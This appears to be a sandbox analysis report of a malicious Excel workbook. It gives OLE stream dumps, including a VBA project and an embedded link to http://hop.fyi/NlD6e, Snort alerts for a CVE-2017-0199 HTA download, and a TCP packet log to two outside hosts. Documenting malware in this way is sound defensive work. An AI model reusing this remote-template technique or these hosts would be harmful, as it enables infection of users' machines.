                                          Data Raw:01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
                                          Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 244
                                          General
                                          Stream Path:\x5DocumentSummaryInformation
                                          CLSID:
                                          File Type:data
                                          Stream Size:244
                                          Entropy:2.889430592781307
                                          Base64 Encoded:False
                                          Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t 1 . . . . . S h e e t 2 . . . . . S h e e t 3 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . .
                                          Data Raw:fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c4 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 a1 00 00 00 02 00 00 00 e4 04 00 00
                                          Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 200
                                          General
                                          Stream Path:\x5SummaryInformation
                                          CLSID:
                                          File Type:data
                                          Stream Size:200
                                          Entropy:3.3020681057018666
                                          Base64 Encoded:False
                                          Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . | . # . @ . . . . . . . . . . . . . .
                                          Data Raw:fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 04 00 00 00
                                          Stream Path: MBD00067331/\x1CompObj, File Type: data, Stream Size: 99
                                          General
                                          Stream Path:MBD00067331/\x1CompObj
                                          CLSID:
                                          File Type:data
                                          Stream Size:99
                                          Entropy:3.631242196770981
                                          Base64 Encoded:False
                                          Data ASCII:. . . . . . . . . . . . . . . . . . . . . . ! . . . M i c r o s o f t O f f i c e E x c e l W o r k s h e e t . . . . . E x c e l M L 1 2 . . . . . 9 q . . . . . . . . . . . .
                                          Data Raw:01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 57 6f 72 6b 73 68 65 65 74 00 0a 00 00 00 45 78 63 65 6c 4d 4c 31 32 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
                                          Stream Path: MBD00067331/Package, File Type: Microsoft Excel 2007+, Stream Size: 31532
                                          General
                                          Stream Path:MBD00067331/Package
                                          CLSID:
                                          File Type:Microsoft Excel 2007+
                                          Stream Size:31532
                                          Entropy:7.708294826140964
                                          Base64 Encoded:True
                                          Data ASCII:P K . . . . . . . . . . ! . c . 7 . . . U . . . . . . [ C o n t e n t _ T y p e s ] . x m l . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
                                          Data Raw:50 4b 03 04 14 00 06 00 08 00 00 00 21 00 63 c2 18 37 9c 01 00 00 55 06 00 00 13 00 d6 01 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 d2 01 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                          Stream Path: MBD00067332/\x1CompObj, File Type: data, Stream Size: 99
                                          General
                                          Stream Path:MBD00067332/\x1CompObj
                                          CLSID:
                                          File Type:data
                                          Stream Size:99
                                          Entropy:3.631242196770981
                                          Base64 Encoded:False
                                          Data ASCII:. . . . . . . . . . . . . . . . . . . . . . ! . . . M i c r o s o f t O f f i c e E x c e l W o r k s h e e t . . . . . E x c e l M L 1 2 . . . . . 9 q . . . . . . . . . . . .
                                          Data Raw:01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 57 6f 72 6b 73 68 65 65 74 00 0a 00 00 00 45 78 63 65 6c 4d 4c 31 32 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
                                          Stream Path: MBD00067332/Package, File Type: Microsoft Excel 2007+, Stream Size: 227098
                                          General
                                          Stream Path:MBD00067332/Package
                                          CLSID:
                                          File Type:Microsoft Excel 2007+
                                          Stream Size:227098
                                          Entropy:7.9593060607783315
                                          Base64 Encoded:True
                                          Data ASCII:P K . . . . . . . . . . ! . 7 % . . . . . . . . . [ C o n t e n t _ T y p e s ] . x m l . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
                                          Data Raw:50 4b 03 04 14 00 06 00 08 00 00 00 21 00 37 25 a4 a3 a1 01 00 00 c2 05 00 00 13 00 d7 01 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 d3 01 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                          Stream Path: MBD00067333/\x1Ole, File Type: data, Stream Size: 540
                                          General
                                          Stream Path:MBD00067333/\x1Ole
                                          CLSID:
                                          File Type:data
                                          Stream Size:540
                                          Entropy:5.711718278586818
                                          Base64 Encoded:False
                                          Data ASCII:. . . . } = # . W i . . . . . . . . . . . . . . . y . . . K . . . . h . t . t . p . : . / . / . h . o . p . . . f . y . i . / . N . l . D . 6 . e . . . * ] I . . [ E 2 . d . U ? . j v M 0 d . . . Y { U R . 6 . . & . 9 V . . R . D W ' e . . / _ . . . 1 D x Q W B . g i 0 E [ ) . R . . . y . . " G U ~ < . c ; @ . . 6 ! . . . . . . . . . . . . . . . . . . . . B . 7 . 9 . D . A . 5 . B . 0 . 1 . P . j . K . s . v . W . T . s . h . d . p . 9 . n . 6 . 2 . 4 . c . H . o . l . M . m . U . K . 8 . 5 . 3 . m . P .
                                          Data Raw:01 00 00 02 7d 3d 23 1c b7 df 57 69 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 e0 c9 ea 79 f9 ba ce 11 8c 82 00 aa 00 4b a9 0b cc 00 00 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 68 00 6f 00 70 00 2e 00 66 00 79 00 69 00 2f 00 4e 00 6c 00 44 00 36 00 65 00 00 00 2a 5d 49 20 09 a7 09 9d ff 5b f6 45 ea 32 1e 64 da 90 e4 82 55 b9 3f ac 97 11 fa b7 c7 6a f6 76 4d 30 64 06 fa b8
                                          Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 182159
                                          General
                                          Stream Path:Workbook
                                          CLSID:
                                          File Type:Applesoft BASIC program data, first line number 16
                                          Stream Size:182159
                                          Entropy:7.996964039467061
                                          Base64 Encoded:True
                                          Data ASCII:. . . . . . . . . . . . . . . . . / . 6 . . . . . . . 3 . * o j . . 5 . j 5 j . x t 5 9 ) H I . a B 2 U | . . . . . . . . . U . . . \\ . p . c O { . . Y ( R x m H ! & w s v > } M u } U I = . \\ . " P O 5 8 . . . . 6 i . d 1 o < w C T . . . } . / R S . h 7 . . V . . 8 < Q = . . B 1 B . . . $ . a . . . > . . . = . . . Y c . . . ! l . u c L . ! v . . . . . . . . . . . . . . . . M . . . R . . . * = . . . M S 4 I N 4 ; . ~ @ . . . w . . . . _ " . . . 5 . . . . . h . . . 8 O . . . . 1 . . . ^ q - . j B s ? . . .
                                          Data Raw:09 08 10 00 00 06 05 00 ab 1f cd 07 c1 00 01 00 06 04 00 00 2f 00 36 00 01 00 01 00 01 00 a5 33 0b 2a 6f 6a aa a0 f8 b1 a4 0d d6 94 8e d7 c4 d3 35 b6 16 f7 b0 6a 35 6a dc a0 a3 78 74 35 e8 39 29 48 49 01 61 42 80 32 55 7c ad 1e 88 10 e1 00 02 00 b0 04 c1 00 02 00 d4 55 e2 00 00 00 5c 00 70 00 63 bc 4f 7b 85 14 94 e2 0d 59 28 86 52 78 6d cd 48 ce db 21 26 77 73 76 3e f5 a2 7d 4d ff
                                          Stream Path: _VBA_PROJECT_CUR/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 525
                                          General
                                          Stream Path:_VBA_PROJECT_CUR/PROJECT
                                          CLSID:
                                          File Type:ASCII text, with CRLF line terminators
                                          Stream Size:525
                                          Entropy:5.238639626948691
                                          Base64 Encoded:True
                                          Data ASCII:I D = " { D D 9 5 5 0 C A - E A 0 2 - 4 1 1 D - B 2 A E - E 6 7 C 5 1 E C E 1 7 4 } " . . D o c u m e n t = T h i s W o r k b o o k / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 1 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 2 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 3 / & H 0 0 0 0 0 0 0 0 . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " 3 5 3 7 3 E 2 E C 6 9 E C A 9 E C
                                          Data Raw:49 44 3d 22 7b 44 44 39 35 35 30 43 41 2d 45 41 30 32 2d 34 31 31 44 2d 42 32 41 45 2d 45 36 37 43 35 31 45 43 45 31 37 34 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f 72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 32 2f 26 48 30 30 30
                                          Stream Path: _VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 104
                                          General
                                          Stream Path:_VBA_PROJECT_CUR/PROJECTwm
                                          CLSID:
                                          File Type:data
                                          Stream Size:104
                                          Entropy:3.0488640812019017
                                          Base64 Encoded:False
                                          Data ASCII:T h i s W o r k b o o k . T . h . i . s . W . o . r . k . b . o . o . k . . . S h e e t 1 . S . h . e . e . t . 1 . . . S h e e t 2 . S . h . e . e . t . 2 . . . S h e e t 3 . S . h . e . e . t . 3 . . . . .
                                          Data Raw:54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00 6f 00 6f 00 6b 00 00 00 53 68 65 65 74 31 00 53 00 68 00 65 00 65 00 74 00 31 00 00 00 53 68 65 65 74 32 00 53 00 68 00 65 00 65 00 74 00 32 00 00 00 53 68 65 65 74 33 00 53 00 68 00 65 00 65 00 74 00 33 00 00 00 00 00
                                          Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2644
                                          General
                                          Stream Path:_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
                                          CLSID:
                                          File Type:data
                                          Stream Size:2644
                                          Entropy:3.9900542601000675
                                          Base64 Encoded:False
                                          Data ASCII:a . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 0 . # . 9 . # . C . : . \\ . P . R . O . G . R . A . ~ . 2 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . ~ . 1 . \\ . V . B . A . \\ . V . B . A . 6 . \\ . V . B . E . 6 . . . D . L . L . # . V . i . s . u . a . l . . B . a . s . i . c . . F . o . r .
                                          Data Raw:cc 61 88 00 00 01 00 ff 09 40 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 04 00 02 00 fa 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 30 00 23 00
                                          Stream Path: _VBA_PROJECT_CUR/VBA/dir, File Type: data, Stream Size: 553
                                          General
                                          Stream Path:_VBA_PROJECT_CUR/VBA/dir
                                          CLSID:
                                          File Type:data
                                          Stream Size:553
                                          Entropy:6.378876472072809
                                          Base64 Encoded:True
                                          Data ASCII:. % . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . V B A P r o j e c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . j $ h . . . . J < . . . . . r s t d o l e > . . . s . t . d . o . l . e . . . h . % . ^ . . * \\ G { 0 0 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s W O W 6 4 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . E O f f D i c E O . f . i . c E . . E . 2 D F 8 D 0 4 C . - 5 B F A - 1 0 1 B - B D E 5 E A A C 4 . 2
                                          Data Raw:01 25 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 6a 24 95 68 08 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

                                          Network Behavior

                                          Snort IDS Alerts

                                          TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                                          07/03/24-18:06:27.501766TCP2024449ET CURRENT_EVENTS SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl4916480192.168.2.22172.245.135.155
                                          07/03/24-18:06:25.953326TCP2024449ET CURRENT_EVENTS SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl4916280192.168.2.22172.245.135.155

                                          Network Port Distribution

                                          TCP Packets

                                          TimestampSource PortDest PortSource IPDest IP
                                          Jul 3, 2024 18:06:25.347034931 CEST4916180192.168.2.22192.185.89.92
                                          Jul 3, 2024 18:06:25.352720022 CEST8049161192.185.89.92192.168.2.22
                                          Jul 3, 2024 18:06:25.352921009 CEST4916180192.168.2.22192.185.89.92
                                          Jul 3, 2024 18:06:25.352921009 CEST4916180192.168.2.22192.185.89.92
                                          Jul 3, 2024 18:06:25.357707024 CEST8049161192.185.89.92192.168.2.22
                                          Jul 3, 2024 18:06:25.940625906 CEST8049161192.185.89.92192.168.2.22
                                          Jul 3, 2024 18:06:25.940738916 CEST4916180192.168.2.22192.185.89.92
                                          Jul 3, 2024 18:06:25.948148012 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:25.953192949 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:25.953263998 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:25.953325987 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:25.958889961 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.436552048 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.436599016 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.436610937 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.436619043 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.436660051 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.436660051 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.453485966 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.453538895 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.453613997 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.453628063 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.453649998 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.453661919 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.454040051 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.454075098 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.458475113 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.458493948 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.458513021 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.458528996 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.458559036 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.458589077 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.459805965 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.459852934 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.463186979 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.463212967 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.463258028 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.463270903 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.525204897 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.525250912 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.525273085 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.525286913 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.525305033 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.525316000 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.525590897 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.525638103 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.529979944 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.529994965 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.530021906 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.530038118 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.542216063 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.542254925 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.542335033 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.542346001 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.542371035 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.542388916 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.542788029 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.542819977 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.547038078 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.547075987 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.547157049 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.547168016 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.547187090 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.547207117 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.547741890 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.547772884 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.551821947 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.551858902 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.551983118 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.551994085 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.552021980 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.552537918 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.552553892 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.552582979 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.552594900 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.556570053 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.556608915 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.556689024 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.556718111 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.556724072 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.556749105 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.557347059 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.557389975 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.561438084 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.561474085 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.561534882 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.561568975 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.613993883 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.614061117 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.614088058 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.614101887 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.614120007 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.614131927 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.614558935 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.614595890 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.618839025 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.618851900 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.618885040 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.619319916 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.619330883 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.619359970 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.623645067 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.623661041 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.623686075 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.623699903 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.631083965 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.631124020 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.631201029 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.631212950 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.631237030 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.631248951 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.631566048 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.631598949 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.636178017 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.636221886 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.636337042 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.636348009 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.636373043 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.636868000 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.636914015 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.640938997 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.640990019 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.641099930 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.641113043 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.641123056 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.641155005 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.641175032 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.641901016 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.641982079 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.645864010 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.645879030 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.645888090 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.645920038 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.645931959 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.646243095 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.646254063 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.646264076 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.646269083 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.646286011 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.646295071 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.646984100 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.647031069 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.871783972 CEST8049162172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:26.871877909 CEST4916280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:26.921036005 CEST4916380192.168.2.22192.185.89.92
                                          Jul 3, 2024 18:06:26.926086903 CEST8049163192.185.89.92192.168.2.22
                                          Jul 3, 2024 18:06:26.926155090 CEST4916380192.168.2.22192.185.89.92
